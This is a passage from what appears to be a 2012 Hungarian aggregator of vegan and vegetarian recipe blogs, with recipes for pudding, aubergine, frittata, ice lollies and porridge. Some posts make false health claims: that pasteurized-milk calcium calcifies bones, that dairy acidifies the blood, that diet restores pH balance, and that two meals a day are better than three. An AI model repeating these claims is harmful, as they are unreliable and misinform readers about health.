nagyon is komoly. Az a kislány az én belső gyermeki énem is lehetett. Mégis képzeletben inkább anya voltam és a saját (képzeletbeli) kislányomat leptem meg. Egy olyan kislányt aki még szeret mesebeli királylánynak öltözni, aki még ösztönösen látja mindenben a szépet, és akinek a szeretetemmel ilyen formán is oly könnyű vidámságot, melegséget, varászlatos pillanatokat szerezni. Persze hasonlót nap mint nap megélek a valóságban is például amikor (most nem a varázslatos pillanat okozásra gondolok) a macskáknak friss vizet adok, vagy amikor a kedvesemnek készítek ételt, és még azt az egy szem olívabogyót is a tetejére szívem minden szeretetével és jóindulatával helyezem oda. Ez a virágos puding volt az ami képzeletben ennyire elvitt, az a bűnös puding, de nem, nem hárítok, le sem tagadhatnám, hogy nagyon szeretnék majd gyermeket.(Asztrósok értik: a felszálló holdcsomópontom az ötödik házban, meg más is...) Azt írtam: aki még ösztönösen látja mindenben a szépet, na jó ez így némileg túlzás, mert nem mindig mindenben, tudom egy 8 éves embernek már van egója, de bármilyen is legyen a gyermeked a gyermekedet csak szereted... Fantázia és álmok ide vagy oda, a józan parszti ész fontos. Vajon hallgatok én arra amikor ennyire kitárulkozom? RECEPT: SÁRGA: körömvirág és reszelt citromhéj RÓZSASZÍN: rózsa és málna BARNA: levendula és kakaó ZÖLD: fodormenta FEHÉR: kókuszreszelék két főre kb. 2-3 maroknyi a virágokból - a körömvirágnak és a rózsának csak a szirma-, a levendulából fele-harmada, vagy ízlés szerint. Megfőztem a kb. bögrényi búzadarát a kb. 4-5- szörös mennyiségű (növényi)tejben, ízlés szerint édesítettem, majd öt részre osztottam, hagytam hűlni, és külön-külön összeturmikszoltam a virágokkal, illetve virágszirmokkal és az egyéb ízesítőkkel, színezőkkel. A fodormentásba tettem egy kis citromlevet, hogy ne barnuljon meg és egy keveset a körömvirágból is, ami az ízét nem vitte el, a színe viszont melegebb lett. Mindenhez ami sárga mindig teszek kurkumát, a körömvirágosnál most sem bírtam megállni, tényleg csak keveset. Tapasztalatom, hogy egy ponton túl már barnás árnyalatot okozhat. Elhagyható. A tányérra kiskanállal, késsel és fogvájó segítségével vittem fel az alakzatokat. Végül díszítettem még körömvirággal, levendulával, (lila) bazsalikom virágjával, málnával, menta levéllel. Behűtve finomabb. --------- Szép képek innen: http://www.josephinewall.co.uk/index.html
Grillezett padlizsán - Kukoricás szezámkrémmel
2012. július 17. Fittanyuka Blog
A nyár egyik nagy előnye, hogy ha módunkban áll kedvünkre sütögethetünk, grillezhetünk a szabadban. A zöldségek kavalkádja bőséges variációt kínál akár a grillezéshez is. Nagyszerű választás a padlizsán, gomba, cukkini, paprika, paradicsom (félbe vágva), lila hagyma és a sort még folytathatnám. Azoknak akik húst is fogyasztanak legyen az a szabály érvényben, hogy nem a sült, grillezett húshoz adják a kevesebb zöldség köretet, hanem zöldségekhez adnak egy kevés húst, így könnyen megelőzhetik a savasodást ( egy részről), vagy segíthetnek szervezetüknek a pH egyensúly visszaállításában. Ha pedig csak a zöldségek mellett voksoltok akkor adhattok hozzá isteni krémeket , vagy kifejezetten olyat mint az alábbi recept. Nagy előnye a szezámmagnak, hogy rendkívül magas a szerves kálcium tartalma, több van benne, mint bármelyik terjermékben. Tipp: Pasztörizált tejben szervetlen formában van a kálcium és így nem beépül, hanem ráépül a csontokra: meszesedés formájában. Továbbá a tejtermékek erősen savasítanak , ezért a szervezet kálciumot von el magától, hogy semlegesítse és tartsa a vér kritikus pH értékét!). Én grillezés , sütés előtt előre befűszerezem a zöldség ( padlizsán, cukkini) korongokat: himalaya sóval, zöld borssal, vagy az egyik legjobb választás az élesztőmentes vegantéria - vegamix. Pihentetem fél órát, utána a felesleges vizet papír törlő segítségével leitatom. A padlizsánnál tapasztalható, hogy ha nem grillezőn hanem kerámia edényben sütjük, minden olajat zsíradékot magába szív. Ezen úgy segíthetünk, hogy sütés előtt meglocsoljuk kókusz vagy hidegen sajtolt olíva olajjal. Mindkét oldalukat pirosra, aranybarnára sütjük. Kukoricás Szezámkrém Hozzávalók: 250 g szezámmag vagy szezám pehely 200 ml kókusz tejszín 2-3 evőkanál hidegen sajtolt lenmag olaj 1 kk himalaya só 1 dl víz 1/2 citrom leve 2 cikk préselt fokhagyma 150 g cukormentes konzerv csemege kukorica vagy friss, főtt. A szezámmag felét enyhén, állandó keverés mellett megpirítjuk, így egy jellegzetes ízt adunk a krémnek. A másik felével együtt megdaráljuk, majd a többi hozzávalóval, kivéve a kukoricát, együtt krémesre turmixoljuk. A kukorica szemeket utólag hozzákeverjük a krémhez. Tetejét tálaláskor lenmag olajjal meglocsoljuk. Fittanyuka
Lecsó kölessel
Egyszerű, de nagyszerű! Lecsót nagyon sokféleképpen lehet enni. Hagyományosan zsírral vagy olajjal készítik, én most csak csöppnyi kókuszzsírt tettem bele. Lehet nyersen is. Sokan éhesek maradnak utána, nekik ajánlom laktatóbbá tételéhez a kölest. Egészségesebb, mintha kenyeret tunkolnál bele, vagy mással, pl. tarhonyával fogyasztanád. Az egész elkészítésében nincsen semmi hókuszpókusz csupán annyi, hogy a hagymát nem [...]
Köleskrém ribizlivel lelkizés nélkül
Talán ki kellene törölnöm az előző bejegyzést, vagy befejeznem... de most egyiket sem érzem helyesnek. Inkább elmondom hogy lehet finom nyári reggelit alkotni kevés munkával. Hozzávalók: 1 bögre köles 3,5 bögre víz 1 ek kókuszreszelék 1 ek vegimilk/szójatejpor 1 csipet só 1 ek gyümölcscukor / 15 csepp sztívia 1 bögre feketeribizli A kölest kiválogatjuk (ne recsegjenek kődarabok a fogunk alatt) és 3 bögre vízzel feltesszük főni. Hozzáadjuk a cukrot/sztíviát, a kókuszt és a sót. 25 perc alatt megfő kavargatás nélkül. Ezután beledolgozzuk a szójatejport, majd a végén könnyű, aláfordító mozdulatokkal belekerül a ribizli is.
Zöldséges Frittata
2012. július 6. Fittanyuka Blog
Frittata - sültet jelent olaszul, nem meglepő, hogy ez egyben egy olasz recept:) Természetesen az eredeti recept sok tojással készül és átmenet a csőben sült és az omlett között. Régóta találgatom, hogy milyen alternatívával tudnám finoman elkészíteni ezt a receptet. A sárgaborsó lisztre jutott a választásom, mivel több, eredetileg tojásos receptet készítettem el sárgaborsó liszttel. Nagyon finom lett és ajánlom mindenkinek aki valamilyen okból kerülné vagy elhagyta a tojást. Kedvünkre gazdagíthatjuk tetszőleges zöldségekkel. Ez a recept padlizsánnal, paradicsommal, zöld hagymával és cukkinivel készült. Gazdagíthatjuk gombával, spárgával, vagy éppen a szezonális zöldségekkel. Melegen,-hidegen egyaránt fogyasztható. Hozzávalók 2 db közepes paradicsom 1 db kisebb padlizsán 2 szál zöldhagyma 1 db kisebb cukkini 300 g sárgaborsó liszt 3,5- 4 dl víz 1 kk himalaya só késhegynyi örőlt zöld bors 1 kk szárított kakukkfű 1 kk foszfátmentes sütőpor 2 dl növényi tejszín kókusz olaj növényi sajt a tetejére A zöldségeket felkarikázzuk, kivéve a paradicsomot és kevés kókusz olajon előpirítjuk, puhítjuk, sózzuk. Törekedjünk arra, hogy roppanós maradjon a cukkini, ezért először a padlizsánt pároljuk a hagymával. A lisztet a sütőport, sót, zöld borst, kakukkfüvet összekeverjük, majd a vízzel, növényi tejszínnel összedolgozzuk. Egy hígabb sűrűségű masszát kapunk. Egy tűzálló tálat kiolajozunk, el egyengetjük benne a zöldségeket, ráöntjük a sárgaborsó lisztes tésztát. A felkarikázott paradicsomot a tetejére tesszük. Én megszórtam reszelt, növényi sajttal, elhagyható, de így finomabb:) Előmelegített sütőben 180 C fokon 25 percig sütjük. Fogyasztható önmagában vagy friss salátával. Hidegen szeletelhető. Fittanyuka
Káposztás gombóckák pikáns saláta kézben
Még mindig nem tudok betelni a kertben növő káposztáimmal, ilyen csoda dolgokat kreálok belőlük ? Hozzávalók a gombóckákhoz: 3 szem héjában főtt krumpli meghámozva 1 ek kukoricakeményítő, vagy 1 tojás 1 1/2 csésze tönkölyliszt (sacc) 1 kk tiszta só 1 pici fej édes káposzta 2 ek kókuszzsír 1 kk tiszta só A meghámozott főtt krumplit [...]
sütikről...
2012. július 3. Rongybaba konyha
igen, tudom, hogy ez a főzés leghaszontalanabb része, de mégis előtérbe került nálunk mostanában. Egyrészt a diéta miatt. Másrészt az oviban az a szokás, hogy a nyári gyerekeket június végén ünneplik a csoportban és olyankor mindenki visz valami sütit vagy tortát, amiből Juli most épp nem ehetett.... Ezért ilyenkor sütöttem valamit, amit vihet magával, hogy ne üres tányérral nézze a többieket... Harmadrészt mennek a nagyszülőkhöz nyaralni és gondoltam, segítség nekik, ha összeírok pár dolgot, ami nagyon kézenfekvő egy gluténmentes diétában és bevált nálunk. Szóval ez a poszt talán csak nekik hasznos. meg talán nekem, aki nagyon kezdő vagyok a témában:) A legjobb, leggyorsabb, legegyszerűbb: gőz fölött étcsokit olvasztok és szórok bele olyan pelyheket vagy puffasztott golyókat, amikben nincs glutén. pl. rizs, köles, amarant, kukorica stb... Persze dió, mandula, aszalt gyümölcs, minden jó. teáskanállal kis halmokat teszek egy sütőpapírra és lehűtöm. A legegszerűbb glutén-, és tejmentes sütik: Eső helyen áll a vegán kölestorta. A legjobb süti! A búzaliszt nyílván köles vagy rizsliszttel helyettesítve. A császármorzsa, amit úgyis mindig csak vegánul sütök, kizárólag kukoricadarával. A palacsinta is nagyon jól működik rizsliszttel (és akár kukoricaliszttel) és vízzel. Rizsfelfújt is tökéletes, főleg vízzel, kevés növényi tejjel és egy evőkanál kókuszzsírral. A gombóc is biztos jó, burgonyaliszttel és megfelelő morzsával - nem próbáltam, mert most épp a krumpli alkalmatlan. Meg persze a muffinok, szerintem abból bármi jó, nálunk eddig minden kisérlet bevált. Hirtelen ezek a legegyszerűbb ötleteim Ezt a sós kekszet sütöttem még, elképesztően gyors, finom, gyszerű... * Tulajdonképpen teljesen jól kihagyható a tej is és a glutén is, csak sajnos sokkal drágább minden GM liszt, ez az egyik baj, a másik az, hogy nem nagyon tetszenek ezek a keményítős keverékek, a harmadik pedig, hogy sokkal több időt töltök a konyhában, mint szeretnék..... Egyébként eleinte csak a glutént hagytuk el, viszzatekintve az sokkal könnyebb volt. Múlt hónapban volt Bori szülinapja, sütöttem tortát a családi köszöntéshez, (gyümölcsös túrótortát (GM), mert ez Bori tortája minden évben). Meghívta a barátnőit, közülük heten itt is aludtak nálunk, úgyhogy kellett ebéddel, vacsorával, reggelivel is készülnünk). Volt GM ricotta torta (ez a torta biztosan működne ricotta helyett tofuval is. lehet, hogy majd egyszer kipróbáljuk), GM brownie és GM sajtos csiga (utóbbi kettőből gluténos változat is, hogy elég legyen a sok gyereknek). (ezeket csak azért írtam le, hogy ne felejtsem el majd összeírni a recepteket is, bár ezek éppen nem tejmentesek, de még az is lehet belőlük:)
Fahéjas zabgolyók
Házi zabtejből megmaradt szárazanyagból készítettem ezt a fahéjas zabgolyót. A fahéj ugyan melegítő fűszer, és ebben a melegben nem biztos, hogy szerencsés, de én ezt most kigondoltam, és meg kellett csinálnom. Nagyon finom, nyers desszert. Hozzávalók: házi zabtejből megmaradt szárazanyag, mandula őrlemény, szezámmag, kókuszzsír, méz (vagy más növényi édesítő), díszítéshez: aszalt gyümölcs: én mazsolát használtam, [...]
Kifőztük 2012/7.
2012. június 30. Lét-tudatos konyha
A Kifőztük júliusi számában a szezonnak megfelelő grillek, szabadban elkészíthető ételek sorakoznak. Hűsítő desszertek, jeges üdítők enyhíthetik a forróságot, de a befőzéshez is találunk recepteket. Konyhámból két édesség került ki, kókusztejes-ribizlis édes rizs és barackos növényi joghurt. Még tart a Nagykörű Cseresznyetortája 2012 játék, melyre a rendezők cseresznye felhasználásával készült tortákat várnak. A torták fényképének, receptjeinek beküldési határideje 2012. július 8. éjfél. A magazin letölthető: itt.
Meggykrémes palacsinta'
Meggyes valamire vágytam csokival, előbb a fagyi jutott eszembe, de mivel már van néhány változat a fagyasztóban, ezért gondoltam legyen inkább valami más. Nem túl magos, mégis laktató, rostos desszert. Ráadásul annyi cukkínim van, hogy csak vakarom a fejem, mit is csináljak belőle. Az aszalt gyümölcslapból készülő palacsinta is finom, de nekem az valahogy nem palacsinta. Ennek a verziónak sokkal semlegesebb az íze, az állaga pedig a francia palacsintáéra hasonlít A palacsintához: 3/4 bögre összevágott cukkíni 1/2 bögre őrölt lenmag 1/2 bögre datolya egy kis vanília 1 tk citromlé 2tk víz egy csipet só A cukkínit összeturmixoltam, majd hozzáadtam a többi hozzávalót, kivéve az őrölt lenmagot. Ezt csak utólag adtam a masszához, és simára turmixoltam Sűrű masszát kapunk, ebből az aszaló tapadásmentes lapján 4 db palacsintát kenünk ki kb4-5 mm vastagon. (Egy lapra 2 palacsinta is elfér) Kb. 7 órán át aszaljuk, ezután levesszük a tapadásmentes lapról és további félórát szárítjuk. Az a lényege, hogy ne legyen merev, még hajlítható maradjon. Így sokáig eltárolható légmentesen elzárva, úgyhogy érdemes egyszerre több adagot is elkészíteni. A meggykrémhez (4-5 palacsintához): 15 dkg magozott meggy 5-6 dkg aszalt vagy áztatott mandula vanília kókuszcukor vagy más édesítő ízlés szerint 50 ml olvasztott kókuszolaj néhány csepp bergamott olaj (elhagyható) Mindent krémesre turmixolunk a kókuszolaj kivételével, ezt akkor adjuk a turmixhoz, amikor az már krémes, egynemű. Kb. 20-30 percre hűtőbe tesszük a krémet. A csoki öntethez: 1/2 bögre méz 1,5 ek nyers kakaópor (hagyományossal is elkészíthető) 1,5 ek nyers karobpor (itt is lehet a megszokottat használni) 50 ml A krémmel megkenjük a lap egyik felét, a másikat pedig ráhajtjuk. Meglocsoljuk a csokin öntettel.
Vegán csokoládé jégkrém pirított mandulával
2012. június 27. Zizi kalandjai
Két napja ígértem vegán csokis jégkrémet, ugye? Vagyis ti szavaztátok meg Facebookon, hogy először ennek jöjjön a receptje és utána a quinoa fasírtnak (ami szintén nagyon finom). Az ígéret szép szó...
Amióta beszereztem a szilikon jégkrém formát, nem tudom abbahagyni a jégkrém készítést. Nyáron inkább ezek az édességek nálunk sütik helyett. Azokat is imádjuk továbbra is, csak, ha meleg van, nincsen kedvem bekapcsolni a sütőt. A jégkrémhez meg pikk-pakk összekeverem a hozzávalókat és már hűlnek is a fagyasztóban. Javaslom, hogy próbáljátok ki. Jó móka a saját jégkrémedet enni. A legjobb pedig, hogy te állítod össze az ízeket, te választod ki az alapanyagokat, nincs benne töménytelen mennyiségű cukor, tudod, hogy mi kerül bele és mellőzve vannak az E-s nyalánkságok.
Ennek a jégkrémnek a nyers csokoládétorta adta az alapját, vagyis azt dolgoztam át minimálisan, hogy jégkrém legyen belőle. Ennyire egyszerű vegán csoki jégkrémet készíteni.
Ki veszi meg az ötletemet, hogy nagyban vegán jégkrém készítésbe kezdjen? :)
Vegán csokoládé jégkrém pirított mandulával
Hozzávalók 4 db jégkrémhez:
- 1 db érett avokádó, meghámozva, kimagozva
- 50 g kakaópor (cukrozatlan)
- 60-70 g kókuszvirág cukor vagy nádcukor
- 30 g kókuszzsír, felolvasztva
- 100-150 ml mandulatej (rizstej, zabtej, szójatej is használható)
- 1 vaníliarúd kikapart magjai
- csipet só
- kis maréknyi mandula
A mandulát száraz serpenyőben 5-6 perc alatt pirítsuk meg, aprítsuk durvára, majd tegyük félre.
A többi hozzávalót tegyük a robotgépbe és pürésítsük simára. Ha túl sűrűnek találjuk, adjunk még hozzá egy kis mandulatejet. A pirított mandula felét szórjuk a formákba, egyenlően kanalazzuk bele a csokis keveréket, szórjuk meg a tetejüket a maradék mandulával, majd helyezzünk pálcikát mindegyikbe és tegyük a mélyhűtőbe kb. 2 órára.
Tessék...
Mentás cukkini ragu
2012. június 24. Fittanyuka Blog
Ezt a nyári, tejszínes cukkini ragut, frissítő mentával bolondítottam meg. Kifejezetten kedvenc most a sárga cukkini, még a kinézete is csupa nyár:)! Feltétként csíkokra vágott, sült szejtánt adtam hozzá. Hozzávalók: 2 db közepes cukkini 250 ml rizstejszín 2 evőkanál kukorica keményítő 1/2 citrom leve 2 cikk fokhagyma 2 evőkanál kókusz olaj 1/2 kk himalaya só késhegynyi örőlt zöld bors friss menta A cukkiniket karikára vágjuk, megsózzuk és a kókusz olajon 3-4 percig puhítjuk. A cél, hogy roppanós maradjon! Ujjnyi vizet öntünk hozzá. A tejszínt csomómentesre elkeverjük a keményítővel, citromlével és hozzáadjuk a cukkinihez. Állandó keverés mellett besűrítjük, ízesítjük a préselt fokhagymával, örőlt zöld borssal. A menta leveleket felaprítjuk és megszórjuk vele a már elkészült ragut. Fittanyuka
Zöldséges torta (quiche)
2012. június 21. Vegetáriánus ételek
Zöldséges torta (quiche) Könnyű nyári előétel, körettel, friss salátával főételként is fogyasztható Összetevők (4 főre ): Tészta összetevők: 20 cm-es tortaforma 15 dkg tönköly teljes kiőrlésű liszt 7 dkg tönköly sima liszt 7 dkg zsiradék: ezek lehetnek kókuszzsír, pálmazsír vagy vaj ízlés szerint Pírított szezámmag ízlés szerint Őrölt kakukkfű, só bors Kevés hideg víz Töltelék: 2 bögre ízlés szerinti zöldség (például: kelbimbó, répa, mángold, zöldbab, édeskömény, brokkoli, karfiol, stb...) ízlés szerint Só curry Tofukrém: 20dkg natur tofu 1 evőkanál mustár 1 gerezd fokhagyma ízlés szerint Só bors 1 dl kókuszolaj 1 dl hidegen sajtolt napraforgó olaj 1 citrom leve 1 nagy főt répa (elhagyható) Elkészítése a következő . Tészta: Összedolgozzuk (azaz egyneműsítjük) az anyagokat (lisztek, só, víz és zsiradék) ezt a tésztát kinyújtjuk fél cm vastagságúra, megkenjük a tészta felületét olvasztott kókuszzsírral, pirított szezámmaggal meghintjük, és őrölt kakukkfűvel megszórjuk. A tésztát téglalapalakúra nyújtjuk ki, majd először a hosszabbik széleket hajtogatjuk egymásra, majd a másik két végét is egymásra hajtjuk, újból kinyújtjuk és a tortaformába helyezzük, úgy hogy 3 cm pereme legyen a tésztának. Töltelék: 2 bögre ízlés szerinti zöldséget vágunk fel apró darabokra (például: kelbimbó, répa, mángold, zöldbab, édeskömény, brokkoli, karfiol, stb és fűszerezzük be sóval és curryvel. Tofukrém: Az összes hozzávalót turmixgépben krémesre egyneműsítjük, majd összekeverjük a párolt zöldségekkel, beöntjük a tortaformába, szépen, egyenletesen eloszlatjuk, előmelegített sütőben 200 fokon 20-25 percig sütjük. Előkészítés időtartama: kb. 50 perc Elkészítés időtartam 25 perc Rigó László Vezető Séf
Ribizlis reggeli
Beérsz a munkahelyedre, és bár reggeliztél, de úgy érzed, még mindig vagy már megint tudnál enni valamit, pedig még dél sincs? A megoldás (legtöbb esetben): fogyassz reggelire egy kiadós zabkását!
A zabkása azért is olyan nagyszerű táplálékunk, mert teltségérzetet okoz. Ha reggelire zabpehelyből készült zabkását fogyasztunk, kevésbé fog a gyomrunk nassolandó étel után vágyakozni. Mint tudjuk a nassolás nem egészséges. Hiszen ahogy a szemnek, a testnek, a lábnak, a kéznek, úgy a gyomornak is szüksége van pihenőre.
"A gyomornak gondos figyelemre van szüksége. Nem kell folytonos működésben tartanunk. Adjunk ennek a rosszul használt és sok visszaélést elszenvedett szervünknek némi békét, nyugalmat és pihenést. Mikor az egyik étkezés után a gyomor elvégezte feladatát, ne adjunk neki további munkát, mielőtt alkalma lenne megpihenni és a természet által a további táplálékról való gondoskodásra elegendő emésztőnedvet szolgáltatna. Legalább öt órának kell eltelnie az étkezések között, és mindig tartsuk szem előtt, hogyha lehetőséget adunk neki, észrevesszük, jobb a kétszeri, mint a háromszori étkezés.
Szokás és társadalmi rend a könnyű reggeli fogyasztása. De ez nem a legmegfelelőbb bánásmód a gyomorral szemben. A reggeli étkezés idején a gyomor jobb állapotban van, hogy több táplálékot emésszen meg, mint a második vagy a harmadik étkezésnél. Helytelen szokás, hogy keveset reggelizünk és kiadósan vacsorázunk. Tegyétek a reggelit a nap legbőségesebb táplálkozásává. (...) Sok esetben az éhségérzethez vezető gyengeség éppen azért jelentkezik, mert a nap folyamán az emésztőszervek túl sok munkát kaptak. Minden étkezés után pihenésre van szükségük. Két étkezés között legalább öt-hat órának kell eltelnie; és legtöbben, akik a napi kétszeri étkezést kipróbálták, ezt a módszert előnyösebbnek tartják, mint a háromszorit." (Ellen G. White: Étrendi és táplálkozási tanácsok)
Tehát, ha el szeretnénk kerülni a napközbeni nassolást, indítsunk valamilyen kása félével reggelire. Ehhez ajánlok most egy gyors és finom receptet.
A recept:
Hozzávalók:
1 adag zabpehely (pl. 2 marék)
víz
ribizli
kevés kókuszreszelék
pár csipet őrölt lenmag
esetleg növényi tej (1 dl)
esetleg édesítő (pl: gyümölcscukor, aszalt gyümölcs, méz, stb.)
Elkészítés:
Ha apró szemű zabpelyhünk van, akkor a lábosban, amiben főzni fogjuk, kicsit megpirítjuk. Épp, amíg illata lesz. Majd felöntjük vízzel. Figyelve és olykor megkeverve addig főzzük, míg a zabpehely meg puhul.
Ha nagy szemű zabpehellyel dolgozunk, akkor ugyanígy megpiríthatjuk, de egy éjszakára akár be is áztathatjuk hideg vízbe. Másnap pedig felfőzzük. Az ilyen zabpelyhek több főzési időt igényelnek.
Miután megfőtt, a megmosott gyümölcsszemeket (jelenleg ribizlit) belerakjuk, kicsit megkeverjük. Édes szájúak tehetnek hozzá főzés után egy kevés növényi tejet és édesíthetik. Tálalásnál a tetejét kókuszreszelékkel és őrölt lenmaggal szórjuk meg.
Szeretném kihangsúlyozni, hogy nem igaz az az állítás, hogy a helyes étrend túlnyomórészt kásákból áll. Ha valaki többnyire kásán él, az nem biztosít egészséget az emésztőszereknek. De reggelire hetente néhány alkalommal kifejezetten ajánlott a kása fogyasztása. Zabkása esetén ugyanis, ha nem adunk hozzá édesítő szert, cukorbetegségben és IR-ben szenvedők részére kifejezetten ajánlott, mivel a zabpehely magas rosttartalommal bír. Ezáltal a keményítők és szénhidrátok felszívódása lassan történik, így az inzulin sem ingadozik hirtelen. Zsírszegény és rostban gazdag tartalmának köszönhetően a "rossz" koleszterinszintet (LDL) csökkenti, tekintettel arra, hogy a zabpehely oldható rostjai megkötik az emésztőrendszerbe kerülő koleszterin egy részét, hozzásegítve őket a természetes módon történő kiürüléshez.
További egészséges elemei azok a fitokemikáliák, amelyek rákmegelőző hatással bírnak.
Fel kell hívnom viszont a figyelmet arra, hogy a fent felsorolt jótékony hatások a reggeli zabpehelyként árusított ízesített és cukrozott ételekre nem vonatkozik, hiszen ezek már cukrot és egyéb adalékanyagokat is tartalmaznak. Zabkása készítésénél válasszunk igazi zabpelyhet és az állat tejet nélkülözzük elkészítésénél! Ha az általunk főzött natúr zabpelyhet édesítjük, könnyen elálmosodhatunk. Ha csak lehet, kerüljük az édesítését.
Currys csicseriborsó
Ez a kajcsi is a rajztanfolyamra készült, mégpedig nem csak azért mert finom, hanem önző módon azért is, mert ezt előre el tudtam készíteni. Finomabb, ha összeérnek az ízek Hozzávalók: 1 csésze csicseriborsó, éjszakára beáztatva 1 közepes fej vöröshagyma 3-4 cikk fokhagyma 1 ek kókuszzsír 1 bélyegnyi kombu (elhagyható) 2 ek. mosott mazsola 1 kk. [...]
Kókuszos-mákos alagút eperrel
Készítettem kókusztejet és máktejet, majd összeöntöttem őket Nagyon jó párosítás, benne érezni a mák és kókusz ízét, igazán selymes, telt ízű növényi tej lett belőle. Érdemes kipróbálni. A megmaradt szárazanyagból készítettem ezt az alagutat. Ugyan az anyagok fő íze és java már ki lett, szedve, mégis érdemes elkészíteni, mert megfelelően ízesítve így is finom. A [...]
Epres almás kókuszos turmix (vegán)
Ha fogytán az eprünk már, vagy csak más ízben is ki szeretnénk próbálni a turmixot, készítsük el almával, és zabpehely helyett kókusszal. A recept: Hozzávalók: fél marék eper 1 vagy két alma fél marék kókuszreszelék víz Elkészítés: A kókuszreszeléket felöntjük (ellepje) vízzel és sűrűre megfőzzük. Kihűtjük kicsit majd a turmixgépbe tesszük (lehet, nem fog mind beleférni, csak a fele...) A megmosott almát héjastul beledaraboljuk, majd a megtisztított eperszemeket rárakjuk és indulhat a turmixolás. Egy-két-há és kész az eperturmix. Akinek nem elég édes, édesítheti gyümölcscukorral, vagy mézzel, vagy barnacukorral. Egészséges, finom, laktató, és ez is, mint a többi turmix pikk-pakk fogyasztható. Ilyenkor nyáron egy jó reggeli, vagy egy délutáni frissítővel is felér. Többihez hasonlóan más gyümölcsökkel is próbálkozhatunk. (Meggy, cseresznye, ribizli, stb.)
Egészséges eperturmix (vegán)
"Híres leszek, szólt az eper, tudom, hogy rám büszke leszel. És az eper tovább halad, milyen sok ház, magas falak! Nem tettek ki névtáblákat, mert nincs neve az utcának. Itt egy gyümölcs, - szólt apóka, legyen ő a névadója! Az eperszem nagyon boldog, napsugár is rámosolygott. Eperről szól már a nóta, utcát neveztek el róla." (Lupsánné Kovács Eta: Az eper álma - részlet -) Könnyed, de laktató reggeli receptje eperrel: A recept: Hozzávalók: 1 marék eper fél marék zabpehely víz kókuszreszelék Elkészítés: A zabpelyhet kicsit megpirítjuk, majd vízzel felöntjük (ellepje) és megfőzzük. Kihűtjük kicsit és a turmixgépbe tesszük (lehet, nem fog mind beleférni, csak a fele...) Az megtisztított eperszemeket rárakjuk és indulhat a turmixolás. Egy-két-há és kész az eperturmix. Akinek nem elég édes, édesítheti gyümölcscukorral, vagy mézzel, vagy barnacukorral. Tálalásnál egy kevés kókuszreszelékkel és pár szem eperrel díszítjük. Egészséges, finom, laktató, pikk-pakk fogyasztható.
Vegán epres kókusz jégkrém és a szerencsés nyertes
2012. június 13. Zizi kalandjai
Az utóbbi hetekben szaladok az idő után. Mindig úgy érzem, hogy egy lépéssel előttem jár, én meg loholok utána, mert annyi a teendő. Ti is szoktátok ezt érezni? Na, ezért maradt el eddig a játék nyertesének kihirdetése, avagy ki lesz a boldog tulajdonosa a Lila Füge szakácskönyvnek. Az volt a kérdés, hogy melyik a kedvenc receptetek a blogról, miért szerettek ide járni és mit szeretnétek látni a jövőben. Fantasztikus visszajelzéseket kaptam tőletek, egyiken-másikon meg is hatódtam. Sokat tanulok én is a kommentekből, nagy segítség mindig, ha írtok. Néhány kedvencemet idézném is. Szia Zizi :) Szuper a blog és gratulálok a kerek számhoz! Szép eredmény!!! Azért szeretem a blogodat, mert rá tudsz venni, hogy főzzek/készítsek valami finomat. :) Nálam még mindig nagy kedvenc a spenótos-diós penne, és még sok recept el van mentve a kedvencekben, amik elkészítésre várnak. A nyers csokitorta is ilyen. (Gabi) Szia Zizi! Nagyon szeretem a blogod. Egyrészt inspirál, másrészt praktikus, mert sok receptedet kinéztem már magamnak és semmit sem változtatva készítettem el. Mind tökéletes volt. Hát, többek között ezért szeretem az írásaidat. És azért is, mert valahogy átjön a multikulturalitás, és az, hogy szereted a körülötted élőket, hogy figyelsz rájuk. Szépnek látod a világot és így mi is a te szemeddel nézhetjük. A kedvencem az avokadóval készült vegán torta, ami még kipróbálásra vár. Pont olyan recepteket látnék még szívesen, amilyeneket eddig is láttam. Ez egy különleges vegetáriánus blog és kivéve a speciális hozzávalókkal készülő ételeket, minden recept nagyon bejön. (Margaretta) Bár megrögzött húsevő vagyok (és maradok is :)), azért szeretek ide járni, mert ha valami nem-húsosra fáj a fogam, akkor biztos, hogy találok valami jó ötletet. (Praliné Zsuzsi) Már nem tudom, hogy és miként bukkantam a blogodra, de imádom és azóta majdnem minden nap nézem és várom az új bejegyzéseket. Először is azért szeretem, mert imádok főzni-sütni, új dolgokat kitalálni és a receptjeid mindig adnak ötletet. Aztán mert próbálok minél egészségesebb dolgokat készíteni. Még csak 16 éves vagyok, de mindig újabbnál-újabb receptek után kutatok (ezzel nagy segítségére vagyok anyunak :)) és a blogod ebben nagyon nagy segítséget ad. Múltkor nem tudtuk mit csináljunk csicseriborsóból, ezért csak gyorsan bepötyögtem, hogy zizikalandjai.com és már készült is a csicseriborsós padlizsán ragu, aminek persze óriási sikere volt :)). Jah és persze a az utazós történeteket is imádom, múltkor pont azon a hétvégén voltam Prágában miután te is feltöltötted a beszámolódat, jó volt újra visszanézni. :) Rengeteg kedvenc receptem van, pl.: céklás csokitorta, a palacsinták...és még tudnám sorolni. (Gyarmathy Nóri) Szóval köszönöm, hogy benéztek, olvastok, kérdeztek, ötleteket adtok, lájkoltok és megosztják a bejegyzéseimet. Összeírtam egy táblázatba a kommentelőket, mindenki kapott egy sorszámot, majd a random.org segítségével sorsoltam és Melinda mellé állt Fortuna! :) Gratulálok! Légy szíves dobj egy emailt nekem, hogy megbeszéljük a részleteket a könyv átadásával kapcsolatban. És még nincs vége! Van egy közönségdíjas, vagyis választottam valakit, akinek legkedvesebb számomra a kommentje. Ő pedig Gyarmathy Nóri, aki egy közös főzés nyert Zizivel. Gratulálok és kérlek, Nóri, te is vedd fel velem a kapcsolatot emailben. Ha még itt vagytok, jöjjön a jégkrém. Praliné Zsuzsin keresztül felfedeztem a Gasztroshopban a jégkrém készítő formát. Azért örültem neki nagyon, mert korábban már vettem hasonló formát, de azt állítva kell betenni a fagyasztóba. Mivel nagyon kicsi a hűtőnk fagyasztója és az álló forma a pálcikákkal együtt sajnos nem fér be, ezért kiváló megoldás a Gasztroshopban kapható szilikon fekvő forma. Ezek simán beférnek, így nincs visszaút, nyáron jégkrém özön lesz nálunk. Első alkalommal egy nagyon egyszerű receptet dobtam össze, de azóta rengeteg újabb kombináció eszembe jutott már. Mivel vegán és mindössze három dolog van benne, ezért egy meleg napon reggeliként is fogyaszthatjuk. Jégkrémet enni reggelire jó. Mert megérdemeljük. Vegán epres kókusz jégkrém Hozzávalók 4 db jégkrémhez: - 160 g eper (de jó a málna, a meggy, a ribizli vagy a cseresznye is) - 250 ml kókusztej - 3-4 evőkanál juharszirup A hozzávalókat turmixoljuk össze és öntsük a formákba. Helyezzünk mindegyikbe pálcikát és tegyük a mélyhűtőbe kb. 2 órára.
Vegán ribizlis-vaníliás szelet
